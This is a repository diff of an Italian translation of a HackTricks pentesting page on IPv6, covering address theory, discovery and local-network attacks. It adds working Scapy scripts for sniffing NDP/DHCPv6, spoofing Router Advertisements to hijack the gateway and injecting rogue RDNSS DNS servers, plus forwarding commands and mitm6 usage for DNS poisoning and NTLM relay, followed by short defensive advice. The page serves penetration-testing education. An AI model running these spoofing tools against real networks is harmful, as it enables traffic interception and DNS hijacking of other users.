mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
ad0e602a18
commit
359c3db44c
@ -1,10 +1,12 @@
|
||||
# Pentesting IPv6
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Teoria di base dell'IPv6
|
||||
## Teoria di base dell'IPv6
|
||||
|
||||
## Reti
|
||||
### Reti
|
||||
|
||||
Gli indirizzi IPv6 sono strutturati per migliorare l'organizzazione della rete e l'interazione dei dispositivi. Un indirizzo IPv6 è diviso in:
|
||||
Gli indirizzi IPv6 sono strutturati per migliorare l'organizzazione della rete e l'interazione tra i dispositivi. Un indirizzo IPv6 è diviso in:
|
||||
|
||||
1. **Prefisso di rete**: I primi 48 bit, che determinano il segmento di rete.
|
||||
2. **ID sottorete**: I successivi 16 bit, utilizzati per definire sottoreti specifiche all'interno della rete.
|
||||
@ -17,8 +19,8 @@ Mentre l'IPv6 omette il protocollo ARP presente nell'IPv4, introduce **ICMPv6**
|
||||
|
||||
L'IPv6 incorpora anche tipi di indirizzi speciali:
|
||||
|
||||
- **Indirizzo di loopback (`::1`)**: Equivalente a `127.0.0.1` di IPv4, per la comunicazione interna all'host.
|
||||
- **Indirizzi link-local (`FE80::/10`)**: Per attività di rete locali, non per il routing su internet. I dispositivi sulla stessa rete locale possono scoprire l'uno l'altro utilizzando questo intervallo.
|
||||
- **Indirizzo di loopback (`::1`)**: Equivalente a `127.0.0.1` di IPv4, per la comunicazione interna all'interno dell'host.
|
||||
- **Indirizzi link-local (`FE80::/10`)**: Per attività di rete locali, non per il routing su Internet. I dispositivi sulla stessa rete locale possono scoprire l'uno l'altro utilizzando questo intervallo.
|
||||
|
||||
### Utilizzo pratico dell'IPv6 nei comandi di rete
|
||||
|
||||
@ -38,7 +40,7 @@ alive6 eth0
|
||||
```
|
||||
Gli indirizzi IPv6 possono essere derivati dall'indirizzo MAC di un dispositivo per la comunicazione locale. Ecco una guida semplificata su come derivare l'indirizzo IPv6 Link-local da un indirizzo MAC noto e una breve panoramica dei tipi di indirizzi IPv6 e dei metodi per scoprire gli indirizzi IPv6 all'interno di una rete.
|
||||
|
||||
## **Derivazione dell'IPv6 Link-local dall'indirizzo MAC**
|
||||
### **Derivazione dell'IPv6 Link-local dall'indirizzo MAC**
|
||||
|
||||
Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 Link-local come segue:
|
||||
|
||||
@ -46,28 +48,28 @@ Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 L
|
||||
2. Prependi `fe80::` e inserisci `fffe` nel mezzo: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Inverti il settimo bit da sinistra, cambiando `1234` in `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **Tipi di Indirizzi IPv6**
|
||||
### **Tipi di indirizzi IPv6**
|
||||
|
||||
- **Indirizzo Locale Unico (ULA)**: Per comunicazioni locali, non destinato al routing su internet pubblico. Prefisso: **`FEC00::/7`**
|
||||
- **Indirizzo Multicast**: Per comunicazione uno-a-molti. Consegnato a tutte le interfacce nel gruppo multicast. Prefisso: **`FF00::/8`**
|
||||
- **Indirizzo Anycast**: Per comunicazione uno-a-più-vicina. Inviato all'interfaccia più vicina secondo il protocollo di routing. Parte dell'intervallo di unicast globale **`2000::/3`**.
|
||||
- **Unique Local Address (ULA)**: Per comunicazioni locali, non destinato al routing su internet pubblico. Prefisso: **`FEC00::/7`**
|
||||
- **Multicast Address**: Per comunicazione uno-a-molti. Consegnato a tutte le interfacce nel gruppo multicast. Prefisso: **`FF00::/8`**
|
||||
- **Anycast Address**: Per comunicazione uno-a-più-vicina. Inviato all'interfaccia più vicina secondo il protocollo di routing. Parte dell'intervallo globale unicast **`2000::/3`**.
|
||||
|
||||
## **Prefissi degli Indirizzi**
|
||||
### **Prefissi degli indirizzi**
|
||||
|
||||
- **fe80::/10**: Indirizzi Link-Local (simile a 169.254.x.x)
|
||||
- **fc00::/7**: Unicast Locale Unico (simile a intervalli IPv4 privati come 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Unicast Globale
|
||||
- **ff02::1**: Multicast Tutti i Nodi
|
||||
- **ff02::2**: Multicast Nodi Router
|
||||
- **fc00::/7**: Unique Local-Unicast (simile a intervalli IPv4 privati come 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
|
||||
## **Scoprire Indirizzi IPv6 all'interno di una Rete**
|
||||
### **Scoprire indirizzi IPv6 all'interno di una rete**
|
||||
|
||||
### Modo 1: Utilizzando Indirizzi Link-local
|
||||
#### Modo 1: Utilizzando indirizzi Link-local
|
||||
|
||||
1. Ottieni l'indirizzo MAC di un dispositivo all'interno della rete.
|
||||
2. Deriva l'indirizzo IPv6 Link-local dall'indirizzo MAC.
|
||||
|
||||
### Modo 2: Utilizzando Multicast
|
||||
#### Modo 2: Utilizzando Multicast
|
||||
|
||||
1. Invia un ping all'indirizzo multicast `ff02::1` per scoprire indirizzi IPv6 sulla rete locale.
|
||||
```bash
|
||||
@ -75,24 +77,24 @@ service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## Attacchi Man-in-the-Middle (MitM) IPv6
|
||||
### Attacchi Man-in-the-Middle (MitM) IPv6
|
||||
|
||||
Esistono diverse tecniche per eseguire attacchi MitM nelle reti IPv6, come:
|
||||
|
||||
- Spoofing delle pubblicità dei vicini o dei router ICMPv6.
|
||||
- Utilizzo di messaggi ICMPv6 di reindirizzamento o "Pacchetto Troppo Grande" per manipolare il routing.
|
||||
- Attacco a mobile IPv6 (di solito richiede che IPSec sia disabilitato).
|
||||
- Attacco a IPv6 mobile (di solito richiede che IPSec sia disabilitato).
|
||||
- Configurazione di un server DHCPv6 malevolo.
|
||||
|
||||
# Identificazione degli indirizzi IPv6 nel campo
|
||||
## Identificazione degli indirizzi IPv6 nel campo
|
||||
|
||||
## Esplorazione dei Sottodomini
|
||||
### Esplorazione dei Sottodomini
|
||||
|
||||
Un metodo per trovare sottodomini che sono potenzialmente collegati a indirizzi IPv6 implica l'uso di motori di ricerca. Ad esempio, impiegare un modello di query come `ipv6.*` può essere efficace. In particolare, il seguente comando di ricerca può essere utilizzato in Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## Utilizzo delle Query DNS
|
||||
### Utilizzo delle Query DNS
|
||||
|
||||
Per identificare gli indirizzi IPv6, è possibile interrogare determinati tipi di record DNS:
|
||||
|
||||
@ -100,12 +102,178 @@ Per identificare gli indirizzi IPv6, è possibile interrogare determinati tipi d
|
||||
- **AAAA**: Cerca direttamente indirizzi IPv6.
|
||||
- **ANY**: Una query ampia che restituisce tutti i record DNS disponibili.
|
||||
|
||||
## Probing con Ping6
|
||||
### Probing con Ping6
|
||||
|
||||
Dopo aver individuato gli indirizzi IPv6 associati a un'organizzazione, è possibile utilizzare l'utilità `ping6` per il probing. Questo strumento aiuta a valutare la reattività degli indirizzi IPv6 identificati e potrebbe anche assistere nella scoperta di dispositivi IPv6 adiacenti.
|
||||
|
||||
## Tecniche di Attacco alla Rete Locale IPv6
|
||||
|
||||
Le sezioni seguenti trattano attacchi pratici IPv6 di livello 2 che possono essere eseguiti **all'interno dello stesso segmento /64** senza conoscere alcun prefisso globale. Tutti i pacchetti mostrati di seguito sono **link-local** e viaggiano solo attraverso lo switch locale, rendendoli estremamente furtivi nella maggior parte degli ambienti.
|
||||
|
||||
### Ottimizzazione del Sistema per un Laboratorio Stabile
|
||||
|
||||
Prima di giocare con il traffico IPv6, è consigliabile indurire il proprio sistema per evitare di essere avvelenati dai propri test e per ottenere le migliori prestazioni durante l'iniezione/sniffing di pacchetti massivi.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
|
||||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||||
|
||||
# Increase fd / backlog limits when generating lots of traffic
|
||||
sudo sysctl -w fs.file-max=100000
|
||||
sudo sysctl -w net.core.somaxconn=65535
|
||||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Sniffing passivo NDP & DHCPv6
|
||||
|
||||
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e parla ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. La seguente riga di codice Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
from scapy.layers.dhcp6 import *
|
||||
from datetime import datetime
|
||||
from colorama import Fore, Style, init
|
||||
import argparse
|
||||
|
||||
init(autoreset=True)
|
||||
|
||||
# Human-readable names for protocols we care about
|
||||
DHCP6_TYPES = {
|
||||
DHCP6_Solicit: 'Solicit',
|
||||
DHCP6_Advertise: 'Advertise',
|
||||
DHCP6_Request: 'Request',
|
||||
DHCP6_Reply: 'Reply',
|
||||
DHCP6_Renew: 'Renew',
|
||||
DHCP6_Rebind: 'Rebind',
|
||||
DHCP6_RelayForward:'Relay-Forward',
|
||||
DHCP6_RelayReply: 'Relay-Reply'
|
||||
}
|
||||
ICMP6_TYPES = {
|
||||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||||
}
|
||||
|
||||
def handler(pkt):
|
||||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||||
|
||||
# Identify protocol family first
|
||||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||||
if proto in pkt:
|
||||
break
|
||||
else:
|
||||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||||
for dhcp_t,name in DHCP6_TYPES.items():
|
||||
if dhcp_t in pkt:
|
||||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||||
else:
|
||||
return # not a DHCPv6 message we track
|
||||
else:
|
||||
return # not interesting
|
||||
|
||||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||||
print(f" MAC {eth_src} -> {eth_dst}")
|
||||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||||
print('-'*60)
|
||||
|
||||
if __name__ == '__main__':
|
||||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||||
a = argp.parse_args()
|
||||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Risultato: una **topologia link-local** completa (MAC ⇄ IPv6) in pochi secondi, senza attivare i sistemi IPS/IDS che si basano su scansioni attive.
|
||||
|
||||
### Spoofing delle Router Advertisement (RA)
|
||||
|
||||
Gli host IPv6 si basano sulle **Router Advertisements ICMPv6** per la scoperta del gateway predefinito. Se inietti RAs contraffatte **più frequentemente** del router legittimo, i dispositivi passeranno silenziosamente a te come gateway.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||||
args = p.parse_args()
|
||||
|
||||
lifetime = 0 if args.revert else args.lifetime
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Per effettivamente **inoltrare il traffico** dopo aver vinto la gara:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
### RDNSS (DNS) Spoofing tramite RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) consente di aggiungere un'opzione **Recursive DNS Server (RDNSS)** all'interno di un RA. I sistemi operativi moderni (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) si fidano automaticamente di esso:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('--llip',required=True)
|
||||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||
p.add_argument('--lifetime',type=int,default=600)
|
||||
p.add_argument('--interval',type=int,default=5)
|
||||
args = p.parse_args()
|
||||
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=0)/
|
||||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
I clienti **prependono** il tuo DNS alla loro lista di resolver per la durata data, concedendo un completo hijacking DNS fino a quando il valore non scade o invii un `lifetime=0` per il ripristino.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Invece di SLAAC, le reti Windows spesso dipendono da **DHCPv6 senza stato** per il DNS. [mitm6](https://github.com/rofl0r/mitm6) risponde automaticamente ai messaggi `Solicit` con un flusso **Advertise → Reply** che assegna **il tuo indirizzo link-local come DNS per 300 secondi**. Questo sblocca:
|
||||
|
||||
* attacchi di relay NTLM (WPAD + hijacking DNS)
|
||||
* intercettazione della risoluzione dei nomi interni senza toccare i router
|
||||
|
||||
Utilizzo tipico:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### Difese
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspection** su switch gestiti.
|
||||
* ACL di porta che consentono solo al MAC del router legittimo di inviare RAs.
|
||||
* Monitorare per **RAs ad alta frequenza non solidi** o improvvisi **cambiamenti RDNSS**.
|
||||
* Disabilitare IPv6 sugli endpoint è una soluzione temporanea che spesso interrompe i servizi moderni e nasconde punti ciechi – preferire invece il filtraggio L2.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user